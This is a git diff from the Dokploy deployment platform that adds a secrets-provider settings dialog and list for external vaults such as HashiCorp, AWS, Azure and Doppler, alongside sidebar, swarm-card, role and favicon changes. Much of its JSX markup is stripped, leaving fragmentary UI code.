} from "lucide-react"; +import { useEffect, useState } from "react"; +import { useForm } from "react-hook-form"; +import { toast } from "sonner"; +import { z } from "zod"; +import { vaultProviderIcons } from "@/components/icons/vault-provider-icons"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { Checkbox } from "@/components/ui/checkbox"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { + Form, + FormControl, + FormDescription, + FormField, + FormItem, + FormLabel, + FormMessage, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { api } from "@/utils/api"; + +const providerLabels = { + hashicorp: "HashiCorp Vault / OpenBao", + infisical: "Infisical", + aws: "AWS Secrets Manager", + doppler: "Doppler", + azure: "Azure Key Vault", + scaleway: "Scaleway Secret Manager", +} as const; + +type ProviderType = keyof typeof providerLabels; + +const VaultProviderSchema = z + .object({ + name: z + .string() + .min(1, { message: "Name is required" }) + .regex(/^[a-zA-Z0-9_-]+$/, { + message: + "Only letters, numbers, dashes and underscores (used in ${{vault..}})", + }), + providerType: z.enum([ + "hashicorp", + "infisical", + "aws", + "doppler", + "azure", + "scaleway", + ]), + url: z.string(), + token: z.string(), + namespace: z.string(), + mount: z.string(), + siteUrl: z.string(), + clientId: z.string(), + clientSecret: z.string(), + projectId: z.string(), + environmentSlug: z.string(), + secretPath: z.string(), + region: z.string(), + accessKeyId: z.string(), + secretAccessKey: z.string(), + serviceToken: z.string(), + awsEndpoint: z.string(), + vaultUri: z.string(), + tenantId: z.string(), + azureClientId: z.string(), + azureClientSecret: z.string(), + dopplerProject: z.string(), + dopplerConfig: z.string(), + scalewayRegion: z.string(), + scalewayProjectId: z.string(), + scalewaySecretKey: z.string(), + scalewayApiUrl: z.string(), + assignments: z.array( + z.object({ + projectId: z.string(), + environmentIds: z.array(z.string()), + }), + ), + }) + .superRefine((data, ctx) => { + const isValidUrl = (value: string) => { + try { + new URL(value); + return true; + } catch { + return false; + } + }; + + if ( + data.providerType === "hashicorp" && + data.url && + !isValidUrl(data.url) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://vault.example.com:8200)", + path: ["url"], + }); + } + if ( + data.providerType === "azure" && + data.vaultUri && + !isValidUrl(data.vaultUri) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://my-vault.vault.azure.net)", + path: ["vaultUri"], + }); + } + if ( + data.providerType === "aws" && + data.awsEndpoint && + !isValidUrl(data.awsEndpoint) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL", + path: ["awsEndpoint"], + }); + } + if ( + data.providerType === "scaleway" && + data.scalewayApiUrl && + !isValidUrl(data.scalewayApiUrl) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://api.scaleway.com)", + path: ["scalewayApiUrl"], + }); + } + if ( + data.providerType === "infisical" && + data.siteUrl && + !isValidUrl(data.siteUrl) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://app.infisical.com)", + path: ["siteUrl"], + }); + } + + const required: Partial< + Record + > = { + hashicorp: [ + ["url", "Vault URL is required"], + ["token", "Token is required"], + ["mount", "Mount is required"], + ], + infisical: [ + ["siteUrl", "Site URL is required"], + ["clientId", "Client ID is required"], + ["clientSecret", "Client Secret is required"], + ["projectId", "Project ID is required"], + ["environmentSlug", "Environment is required"], + ], + aws: [ + ["region", "Region is required"], + ["accessKeyId", "Access Key ID is required"], + ["secretAccessKey", "Secret Access Key is required"], + ], + doppler: [["serviceToken", "Service Token is required"]], + azure: [ + ["vaultUri", "Vault URI is required"], + ["tenantId", "Tenant ID is required"], + ["azureClientId", "Client ID is required"], + ["azureClientSecret", "Client Secret is required"], + ], + scaleway: [ + ["scalewayRegion", "Region is required"], + ["scalewayProjectId", "Project ID is required"], + ["scalewaySecretKey", "Secret Key is required"], + ], + }; + + for (const [field, message] of required[data.providerType] ?? []) { + if (!data[field]) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message, + path: [field], + }); + } + } + + if ( + data.providerType === "doppler" && + data.serviceToken && + !data.serviceToken.startsWith("dp.st.") && + data.serviceToken !== "********" + ) { + for (const field of ["dopplerProject", "dopplerConfig"] as const) { + if (!data[field]) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Required for personal/CLI tokens (dp.pt. / dp.ct.)", + path: [field], + }); + } + } + } + }); + +type VaultProviderForm = z.infer; + +const defaultValues: VaultProviderForm = { + name: "", + providerType: "hashicorp", + url: "", + token: "", + namespace: "", + mount: "secret", + siteUrl: "https://app.infisical.com", + clientId: "", + clientSecret: "", + projectId: "", + environmentSlug: "", + secretPath: "/", + region: "", + accessKeyId: "", + secretAccessKey: "", + serviceToken: "", + awsEndpoint: "", + vaultUri: "", + tenantId: "", + azureClientId: "", + azureClientSecret: "", + dopplerProject: "", + dopplerConfig: "", + scalewayRegion: "fr-par", + scalewayProjectId: "", + scalewaySecretKey: "", + scalewayApiUrl: "https://api.scaleway.com", + assignments: [], +}; + +const buildConfig = (data: VaultProviderForm) => { + switch (data.providerType) { + case "hashicorp": + return { + providerType: "hashicorp" as const, + url: data.url, + token: data.token, + namespace: data.namespace || undefined, + mount: data.mount || "secret", + }; + case "infisical": + return { + providerType: "infisical" as const, + siteUrl: data.siteUrl || "https://app.infisical.com", + clientId: data.clientId, + clientSecret: data.clientSecret, + projectId: data.projectId, + environmentSlug: data.environmentSlug, + secretPath: data.secretPath || "/", + }; + case "aws": + return { + providerType: "aws" as const, + region: data.region, + accessKeyId: data.accessKeyId, + secretAccessKey: data.secretAccessKey, + endpoint: data.awsEndpoint || undefined, + }; + case "doppler": + return { + providerType: "doppler" as const, + serviceToken: data.serviceToken, + project: data.dopplerProject || undefined, + config: data.dopplerConfig || undefined, + }; + case "azure": + return { + providerType: "azure" as const, + vaultUri: data.vaultUri, + tenantId: data.tenantId, + clientId: data.azureClientId, + clientSecret: data.azureClientSecret, + }; + case "scaleway": + return { + providerType: "scaleway" as const, + region: data.scalewayRegion || "fr-par", + projectId: data.scalewayProjectId, + secretKey: data.scalewaySecretKey, + apiUrl: data.scalewayApiUrl || "https://api.scaleway.com", + }; + } +}; + +const extractErrorMessage = (err: unknown) => { + if (!(err instanceof Error)) return undefined; + try { + const issues = JSON.parse(err.message) as { message?: string }[]; + if (Array.isArray(issues)) { + return issues + .map((issue) => issue.message) + .filter(Boolean) + .join(", "); + } + } catch {} + return err.message; +}; + +interface Props { + vaultProviderId?: string; +} + +export const HandleVaultProvider = ({ vaultProviderId }: Props) => { + const utils = api.useUtils(); + const [isOpen, setIsOpen] = useState(false); + + const { data: provider } = api.vaultProvider.one.useQuery( + { vaultProviderId: vaultProviderId || "" }, + { enabled: !!vaultProviderId && isOpen }, + ); + + const { mutateAsync, isPending, error, isError } = vaultProviderId + ? api.vaultProvider.update.useMutation() + : api.vaultProvider.create.useMutation(); + + const { mutateAsync: testConnection, isPending: isTesting } = + api.vaultProvider.testConnection.useMutation(); + + const form = useForm({ + defaultValues, + resolver: zodResolver(VaultProviderSchema), + }); + + const providerType = form.watch("providerType"); + const assignments = form.watch("assignments"); + const { data: orgProjects } = api.project.all.useQuery(); + + const setAssignments = ( + next: { projectId: string; environmentIds: string[] }[], + ) => form.setValue("assignments", next, { shouldValidate: true }); + + const toggleProject = (targetProjectId: string) => { + const exists = assignments.some((a) => a.projectId === targetProjectId); + setAssignments( + exists + ? assignments.filter((a) => a.projectId !== targetProjectId) + : [...assignments, { projectId: targetProjectId, environmentIds: [] }], + ); + }; + + const toggleEnvironment = ( + targetProjectId: string, + environmentId: string, + ) => { + setAssignments( + assignments.map((a) => { + if (a.projectId !== targetProjectId) return a; + const has = a.environmentIds.includes(environmentId); + return { + ...a, + environmentIds: has + ? a.environmentIds.filter((e) => e !== environmentId) + : [...a.environmentIds, environmentId], + }; + }), + ); + }; + + useEffect(() => { + if (provider) { + form.reset({ + ...defaultValues, + name: provider.name, + providerType: provider.config.providerType, + assignments: provider.assignments ?? [], + ...(provider.config.providerType === "hashicorp" && { + url: provider.config.url, + token: provider.config.token, + namespace: provider.config.namespace ?? "", + mount: provider.config.mount, + }), + ...(provider.config.providerType === "infisical" && { + siteUrl: provider.config.siteUrl, + clientId: provider.config.clientId, + clientSecret: provider.config.clientSecret, + projectId: provider.config.projectId, + environmentSlug: provider.config.environmentSlug, + secretPath: provider.config.secretPath, + }), + ...(provider.config.providerType === "aws" && { + region: provider.config.region, + accessKeyId: provider.config.accessKeyId, + secretAccessKey: provider.config.secretAccessKey, + awsEndpoint: provider.config.endpoint ?? "", + }), + ...(provider.config.providerType === "doppler" && { + serviceToken: provider.config.serviceToken, + dopplerProject: provider.config.project ?? "", + dopplerConfig: provider.config.config ?? "", + }), + ...(provider.config.providerType === "azure" && { + vaultUri: provider.config.vaultUri, + tenantId: provider.config.tenantId, + azureClientId: provider.config.clientId, + azureClientSecret: provider.config.clientSecret, + }), + ...(provider.config.providerType === "scaleway" && { + scalewayRegion: provider.config.region, + scalewayProjectId: provider.config.projectId, + scalewaySecretKey: provider.config.secretKey, + scalewayApiUrl: provider.config.apiUrl, + }), + }); + } else if (!vaultProviderId) { + form.reset(defaultValues); + } + }, [provider, vaultProviderId, form, isOpen]); + + const onSubmit = async (data: VaultProviderForm) => { + const payload: any = { + name: data.name, + config: buildConfig(data), + assignments: data.assignments, + ...(vaultProviderId && { vaultProviderId }), + }; + await mutateAsync(payload) + .then(() => { + toast.success( + vaultProviderId ? "Vault provider updated" : "Vault provider created", + ); + utils.vaultProvider.all.invalidate(); + setIsOpen(false); + }) + .catch(() => {}); + }; + + const onTestConnection = async () => { + const isValid = await form.trigger(); + if (!isValid) { + return; + } + const data = form.getValues(); + await testConnection({ + config: buildConfig(data), + ...(vaultProviderId && { vaultProviderId }), + }) + .then(() => { + toast.success("Connection successful"); + }) + .catch((err) => { + toast.error("Connection failed", { + description: extractErrorMessage(err), + }); + }); + }; + + return ( + + + {vaultProviderId ? ( + + ) : ( + + )} + + + + + {vaultProviderId ? "Update Vault Provider" : "Add Vault Provider"} + + + Reference secrets in your environment variables with{" "} + {"${{vault..}}"}. Secrets are fetched at + deploy time and never stored in Dokploy. + + + {isError && {error?.message}} +
+ + ( + + Name + + + + + + )} + /> + ( + + Provider + + + + )} + /> + + {providerType === "hashicorp" && ( + <> + ( + + Vault URL + + + + + + )} + /> + ( + + Token + + + + + + )} + /> +
+ ( + + KV Mount + + + + + + )} + /> + ( + + Namespace (optional) + + + + + + )} + /> +
+ + Reference format:{" "} + {"${{vault..path/to/secret:FIELD}}"} + + + )} + + {providerType === "infisical" && ( + <> + ( + + Site URL + + + + + + )} + /> +
+ ( + + Client ID + + + + + + )} + /> + ( + + Client Secret + + + + + + )} + /> +
+
+ ( + + Project ID + + + + + + )} + /> + ( + + Environment + + + + + + )} + /> +
+ ( + + Secret Path + + + + + + )} + /> + + )} + + {providerType === "aws" && ( + <> + ( + + Region + + + + + + )} + /> + ( + + Access Key ID + + + + + + )} + /> + ( + + Secret Access Key + + + + + + )} + /> + ( + + Endpoint (optional) + + + + + Custom endpoint for VPC endpoints or API-compatible + emulators + + + + )} + /> + + Reference format:{" "} + {"${{vault..secret-name}}"} or{" "} + {"${{vault..secret-name:field}}"} for JSON + secrets + + + )} + + {providerType === "azure" && ( + <> + ( + + Vault URI + + + + + + )} + /> + ( + + Tenant ID + + + + + + )} + /> +
+ ( + + Client ID + + + + + + )} + /> + ( + + Client Secret + + + + + + )} + /> +
+ + App Registration with the "Key Vault Secrets User" role on the + vault. Reference format:{" "} + {"${{vault..secret-name}}"} + + + )} + + {providerType === "doppler" && ( + <> + ( + + Token + + + + + Service tokens (dp.st.) are recommended: read-only and + scoped to a single project + config + + + + )} + /> +
+ ( + + Project (optional) + + + + + + )} + /> + ( + + Config (optional) + + + + + + )} + /> +
+ + Only needed for personal (dp.pt.) or CLI (dp.ct.) tokens — + service tokens already carry them + + + )} + + {providerType === "scaleway" && ( + <> +
+ ( + + Region + + + + )} + /> + ( + + Project ID + + + + + + )} + /> +
+ ( + + Secret Key + + + + + The secret key of an API key with the{" "} + SecretManagerReadOnly permission set + + + + )} + /> + ( + + API URL + + + + + + )} + /> + + Reference format:{" "} + {"${{vault..secret-name}}"},{" "} + {"${{vault..folder/secret-name}}"} for + secrets in a path, or{" "} + {"${{vault..secret-name:field}}"} for JSON + secrets + + + )} + +
+ Access + + This provider can only be referenced from the selected projects. + Pick environments to narrow it further — none selected means all + environments of that project. + +
+ {orgProjects?.map((project) => { + const assignment = assignments.find( + (a) => a.projectId === project.projectId, + ); + return ( +
+ + {assignment && ( +
+ {project.environments?.map((environment) => ( + + ))} + {assignment.environmentIds.length === 0 && ( + + All environments + + )} +
+ )} +
+ ); + })} +
+ {form.formState.errors.assignments && ( +

+ {form.formState.errors.assignments.message} +

+ )} +
+ + + + + + + +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/vault/show-vault-providers.tsx b/apps/dokploy/components/dashboard/settings/vault/show-vault-providers.tsx new file mode 100644 index 000000000..f61327882 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/vault/show-vault-providers.tsx @@ -0,0 +1,167 @@ +import { Loader2, Trash2, Vault } from "lucide-react"; +import { toast } from "sonner"; +import { vaultProviderIcons } from "@/components/icons/vault-provider-icons"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { api } from "@/utils/api"; +import { HandleVaultProvider } from "./handle-vault-provider"; + +const providerLabels: Record = { + hashicorp: "HashiCorp Vault", + infisical: "Infisical", + aws: "AWS Secrets Manager", + doppler: "Doppler", + azure: "Azure Key Vault", + scaleway: "Scaleway Secret Manager", +}; + +export const ShowVaultProviders = () => { + const { mutateAsync, isPending: isRemoving } = + api.vaultProvider.remove.useMutation(); + const { data, isPending, refetch } = api.vaultProvider.all.useQuery(); + const { data: permissions } = api.user.getPermissions.useQuery(); + + return ( +
+ +
+ + + + Secrets Providers + + + Connect external secret managers and reference their secrets in + environment variables with{" "} + {"${{vault..}}"} + + + + {isPending ? ( +
+ Loading... + +
+ ) : ( + <> + {data?.length === 0 ? ( +
+ + + You don't have any secrets providers configured + + {permissions?.vaultProvider.create && ( + + )} +
+ ) : ( +
+
+ {data?.map((provider) => { + const ProviderIcon = + vaultProviderIcons[provider.providerType]; + return ( +
+
+
+ +
+ + {provider.name} + +
+ {provider.assignments.length === 0 ? ( + + Not assigned + + ) : ( + + {provider.assignments.length}{" "} + {provider.assignments.length === 1 + ? "project" + : "projects"} + + )} + + {providerLabels[provider.providerType] ?? + provider.providerType} + + + {"${{vault." + provider.name + ".…}}"} + +
+
+
+ +
+ {permissions?.vaultProvider.update && ( + + )} + {permissions?.vaultProvider.delete && ( + { + await mutateAsync({ + vaultProviderId: + provider.vaultProviderId, + }) + .then(() => { + toast.success( + "Secrets provider deleted", + ); + refetch(); + }) + .catch(() => { + toast.error( + "Error deleting the secrets provider", + ); + }); + }} + > + + + )} +
+
+
+ ); + })} +
+ + {permissions?.vaultProvider.create && ( +
+ +
+ )} +
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx index 2647e1dc0..e90ba51f8 100644 --- a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx +++ b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx @@ -32,7 +32,9 @@ export const TerminalModal = ({ serverId, asButton = false, }: Props) => { - const [terminalKey, setTerminalKey] = useState(getTerminalKey()); + const [terminalKey, setTerminalKey] = useState(() => + getTerminalKey(), + ); const [isOpen, setIsOpen] = useState(false); const isLocalServer = serverId === "local"; diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx index dccdec003..ceb09b2e7 100644 --- a/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx +++ b/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx @@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css"; import { AttachAddon } from "@xterm/addon-attach"; import { ClipboardAddon } from "@xterm/addon-clipboard"; import { useTheme } from "next-themes"; +import { fixMacOsAltKeys } from "@/lib/terminal-keyboard"; import { getLocalServerData } from "./local-server-config"; interface Props { @@ -58,6 +59,7 @@ export const Terminal: React.FC = ({ id, serverId }) => { const addonAttach = new AttachAddon(ws); const clipboardAddon = new ClipboardAddon(); term.loadAddon(clipboardAddon); + fixMacOsAltKeys(term); // @ts-ignore term.open(termRef.current); diff --git a/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx b/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx index 306b2f808..2e67954fe 100644 --- a/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx +++ b/apps/dokploy/components/dashboard/swarm/containers/empty-states.tsx @@ -35,7 +35,7 @@ export const DocLinks = () => ( Cluster Settings @@ -85,7 +85,7 @@ export const SwarmNotAvailable = ({
  • Check the{" "} Cluster Settings @@ -130,7 +130,7 @@ export const ServicesError = ({
  • Network connectivity issues to a remote server — check{" "} Cluster Settings @@ -183,7 +183,7 @@ export const NoServices = ({ nodeCount, onRefresh }: NoServicesProps) => ( Worker nodes need to pull images from a shared registry. Configure one in{" "} Cluster Settings @@ -255,7 +255,7 @@ export const NoRunningContainers = ({
  • Images can't be pulled on worker nodes — verify your{" "} registry configuration diff --git a/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx b/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx index 4c4c5e2be..303609487 100644 --- a/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx +++ b/apps/dokploy/components/dashboard/swarm/containers/show-swarm-containers.tsx @@ -303,7 +303,7 @@ export const ShowSwarmContainers = ({ serverId }: Props) => {

    Manage nodes in{" "} Cluster Settings diff --git a/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx b/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx index 9c6d196ad..2ad6b68a1 100644 --- a/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx +++ b/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx @@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) { serverId, }); - if (isPending) { - return ( -

    -
    - {/*
    */} - -
    - Loading... - -
    - {/*
    */} -
    -
    - ); - } - - if (!nodes) { - return ( -
    -
    -
    - Failed to load data -
    -
    -
    - ); - } - - const totalNodes = nodes.length; - const activeNodesCount = nodes.filter( - (node) => node.Status === "Ready", - ).length; - const managerNodesCount = nodes.filter( - (node) => - node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable", - ).length; - const activeNodes = nodes.filter((node) => node.Status === "Ready"); - const managerNodes = nodes.filter( - (node) => - node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable", - ); + const totalNodes = nodes?.length ?? 0; + const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? []; + const managerNodes = + nodes?.filter( + (node) => + node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable", + ) ?? []; return ( - +
    @@ -85,7 +51,9 @@ export default function SwarmMonitorCard({ serverId }: Props) { {!serverId && (
    -
    - - - Total Nodes -
    - -
    -
    - -
    {totalNodes}
    -
    -
    + {isPending ? ( +
    + Loading... + +
    + ) : !nodes ? ( +
    + Failed to load data +
    + ) : ( + <> +
    + + + + Total Nodes + +
    + +
    +
    + +
    {totalNodes}
    +
    +
    - - -
    - - Active Nodes - - Online -
    -
    - -
    -
    - - - - -
    - {activeNodesCount} / {totalNodes} -
    -
    - -
    - {activeNodes.map((node) => ( -
    - {node.Hostname} + + +
    + + Active Nodes + + Online +
    +
    + +
    +
    + + + + +
    + {activeNodes.length} / {totalNodes}
    - ))} -
    - - - - - - - - -
    - - Manager Nodes - - Online -
    -
    - -
    -
    - - - - -
    - {managerNodesCount} / {totalNodes} -
    -
    - -
    - {managerNodes.map((node) => ( -
    - {node.Hostname} + + +
    + {activeNodes.map((node) => ( +
    + {node.Hostname} +
    + ))}
    - ))} -
    - - - - - -
    +
    +
    +
    +
    +
    -
    - {nodes.map((node) => ( - - ))} -
    + + +
    + + Manager Nodes + + Online +
    +
    + +
    +
    + + + + +
    + {managerNodes.length} / {totalNodes} +
    +
    + +
    + {managerNodes.map((node) => ( +
    + {node.Hostname} +
    + ))} +
    +
    +
    +
    +
    +
    +
    + +
    + {nodes.map((node) => ( + + ))} +
    + + )}
    ); diff --git a/apps/dokploy/components/icons/data-tools-icons.tsx b/apps/dokploy/components/icons/data-tools-icons.tsx index b828052a0..7a0d680aa 100644 --- a/apps/dokploy/components/icons/data-tools-icons.tsx +++ b/apps/dokploy/components/icons/data-tools-icons.tsx @@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => { > ); diff --git a/apps/dokploy/components/icons/vault-provider-icons.tsx b/apps/dokploy/components/icons/vault-provider-icons.tsx new file mode 100644 index 000000000..8a4685299 --- /dev/null +++ b/apps/dokploy/components/icons/vault-provider-icons.tsx @@ -0,0 +1,592 @@ +interface Props { + className?: string; +} + +export const HashicorpVaultIcon = ({ className }: Props) => ( + + + +); + +export const InfisicalIcon = ({ className }: Props) => ( + + + +); + +export const AwsIcon = ({ className }: Props) => ( + + + + + +); + +export const DopplerIcon = ({ className }: Props) => ( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +); + +export const AzureIcon = ({ className }: Props) => ( + + + + + + + + + + + + + + + + + + + + + + + +); + +export const ScalewayIcon = ({ className }: Props) => ( + + + +); + +export const vaultProviderIcons = { + hashicorp: HashicorpVaultIcon, + infisical: InfisicalIcon, + aws: AwsIcon, + doppler: DopplerIcon, + azure: AzureIcon, + scaleway: ScalewayIcon, +} as const; diff --git a/apps/dokploy/components/layouts/side.tsx b/apps/dokploy/components/layouts/side.tsx index e58256c63..f84a9196f 100644 --- a/apps/dokploy/components/layouts/side.tsx +++ b/apps/dokploy/components/layouts/side.tsx @@ -25,10 +25,8 @@ import { Loader2, LogIn, type LucideIcon, - Network, Package, Palette, - PieChart, Rocket, Server, ShieldCheck, @@ -37,6 +35,7 @@ import { Trash2, User, Users, + Vault, } from "lucide-react"; import Link from "next/link"; import { usePathname } from "next/navigation"; @@ -54,14 +53,26 @@ import { CollapsibleContent, CollapsibleTrigger, } from "@/components/ui/collapsible"; +import { + Command, + CommandEmpty, + CommandGroup, + CommandInput, + CommandItem, + CommandList, +} from "@/components/ui/command"; import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuLabel, - DropdownMenuSeparator, DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; +import { + Popover, + PopoverContent, + PopoverTrigger, +} from "@/components/ui/popover"; import { Separator } from "@/components/ui/separator"; import { SIDEBAR_COOKIE_NAME, @@ -202,28 +213,6 @@ const MENU: Menu = { // Only enabled for users with access to Docker isEnabled: ({ permissions }) => !!permissions?.docker.read, }, - { - isSingle: true, - title: "Swarm", - url: "/dashboard/swarm", - icon: PieChart, - // Only enabled for users with access to Docker - isEnabled: ({ permissions }) => !!permissions?.docker.read, - }, - { - isSingle: true, - title: "Networks", - url: "/dashboard/networks", - icon: Network, - // Only enabled for admins and users with access to Docker in non-cloud environments - isEnabled: ({ auth, isCloud }) => - !!( - (auth?.role === "owner" || - auth?.role === "admin" || - auth?.canAccessToDocker) && - !isCloud - ), - }, { isSingle: true, title: "Requests", @@ -374,6 +363,13 @@ const MENU: Menu = { icon: Package, isEnabled: ({ permissions }) => !!permissions?.registry.read, }, + { + isSingle: true, + title: "Secrets", + url: "/dashboard/settings/secrets", + icon: Vault, + isEnabled: ({ permissions }) => !!permissions?.vaultProvider.create, + }, { isSingle: true, title: "S3 Destinations", @@ -389,14 +385,6 @@ const MENU: Menu = { icon: ShieldCheck, isEnabled: ({ permissions }) => !!permissions?.certificate.read, }, - { - isSingle: true, - title: "Cluster", - url: "/dashboard/settings/cluster", - icon: Boxes, - // Only enabled for admins - isEnabled: ({ permissions }) => !!permissions?.organization.update, - }, { isSingle: true, title: "Notifications", @@ -589,6 +577,8 @@ function SidebarLogo() { const [_activeTeam, setActiveTeam] = useState< typeof activeOrganization | null >(null); + const [organizationSelectorOpen, setOrganizationSelectorOpen] = + useState(false); useEffect(() => { if (activeOrganization) { @@ -611,8 +601,11 @@ function SidebarLogo() { > {/* Organization Logo and Selector */} - - + + - - + - - Organizations - -
    - {organizations?.map((org) => { - const isDefault = org.members?.[0]?.isDefault ?? false; - return ( -
    - { - await authClient.organization.setActive({ - organizationId: org.id, - }); - window.location.reload(); - }} - className="flex min-w-0 flex-1 gap-2 p-2" - > -
    - -
    - {org.name} -
    - -
    - - {org.ownerId === session?.user?.id && ( - <> - - { - await deleteOrganization({ +
    +
    + +
    + {org.name} +
    + +
    e.stopPropagation()} + onKeyDown={(e) => e.stopPropagation()} + > + - - - )} -
    -
    - ); - })} -
    - {(user?.role === "owner" || - user?.role === "admin" || - isCloud) && ( - <> - - - - )} - - + {isDefault ? ( + + ) : ( + + )} + + {org.ownerId === session?.user?.id && ( + <> + + { + await deleteOrganization({ + organizationId: org.id, + }) + .then(() => { + refetch(); + toast.success( + "Organization deleted successfully", + ); + }) + .catch((error) => { + toast.error( + error?.message || + "Error deleting organization", + ); + }); + }} + > + + + + )} +
    + + ); + })} + + + {(user?.role === "owner" || + user?.role === "admin" || + isCloud) && ( +
    + +
    + )} + +
    +
    {/* Notification Bell */} diff --git a/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx b/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx index 51b31b84c..113fb9cb9 100644 --- a/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx +++ b/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx @@ -45,6 +45,13 @@ import { PopoverContent, PopoverTrigger, } from "@/components/ui/popover"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; import { Switch } from "@/components/ui/switch"; import { api } from "@/utils/api"; @@ -163,6 +170,11 @@ const RESOURCE_META: Record = { label: "Audit Logs", description: "View the audit log of actions performed in the organization", }, + vaultProvider: { + label: "Secrets Providers", + description: + "Manage external secret managers (HashiCorp Vault, AWS, Azure, Infisical, Doppler, Scaleway) and where their secrets can be referenced", + }, }; /** Descriptions for each action within a resource */ @@ -419,6 +431,22 @@ const ACTION_META: Record< auditLog: { read: { label: "Read", description: "View the audit log history" }, }, + vaultProvider: { + read: { + label: "Read", + description: "View providers and secret names for env autocomplete", + }, + create: { + label: "Create", + description: "Connect new secret providers and test their connection", + }, + update: { + label: "Update", + description: + "Edit provider credentials and project/environment assignments", + }, + delete: { label: "Delete", description: "Remove secret providers" }, + }, }; /** Resources that should be hidden from the custom role editor (better-auth internals) */ @@ -759,6 +787,78 @@ function HandleCustomRole({ ); } +const DefaultRoleSection = ({ customRoles }: { customRoles: string[] }) => { + const utils = api.useUtils(); + const { data: auth } = api.user.get.useQuery(); + const { data: activeOrganization } = api.organization.active.useQuery(); + const { mutateAsync: updateOrganization, isPending: isUpdating } = + api.organization.update.useMutation(); + const [selectedRole, setSelectedRole] = useState(); + + if (auth?.role !== "owner" || !activeOrganization) { + return null; + } + + const currentRole = activeOrganization.defaultRole ?? "member"; + const value = selectedRole ?? currentRole; + + const onSave = async () => { + await updateOrganization({ + organizationId: activeOrganization.id, + name: activeOrganization.name, + logo: activeOrganization.logo ?? undefined, + defaultRole: value, + }) + .then(() => { + toast.success("Default role updated"); + utils.organization.active.invalidate(); + }) + .catch((error) => { + toast.error( + error instanceof Error + ? error.message + : "Error updating default role", + ); + }); + }; + + return ( +
    +
    +

    Default role for new members

    +

    + Assigned automatically to users joining through SSO and preselected + when creating invitations. +

    +
    +
    + + +
    +
    + ); +}; + const CustomRolesContent = () => { const { data: customRoles, @@ -800,6 +900,9 @@ const CustomRolesContent = () => { return (
    + role.role) ?? []} + />
    diff --git a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx index a1a327561..05e0b517a 100644 --- a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx +++ b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx @@ -1,24 +1,32 @@ "use client"; import Head from "next/head"; +import { useTheme } from "next-themes"; import { api } from "@/utils/api"; export function WhitelabelingProvider() { + const { resolvedTheme } = useTheme(); const { data: config } = api.whitelabeling.getPublic.useQuery(undefined, { staleTime: 5 * 60 * 1000, refetchOnWindowFocus: false, }); - if (!config) return null; + const faviconHref = + config?.faviconUrl ?? + (resolvedTheme === "dark" + ? "/icon-dark.svg" + : resolvedTheme === "light" + ? "/icon-light.svg" + : "/icon.svg"); return ( <> - {config.metaTitle && {config.metaTitle}} - {config.faviconUrl && } + {config?.metaTitle && {config.metaTitle}} + - {config.customCss && ( + {config?.customCss && (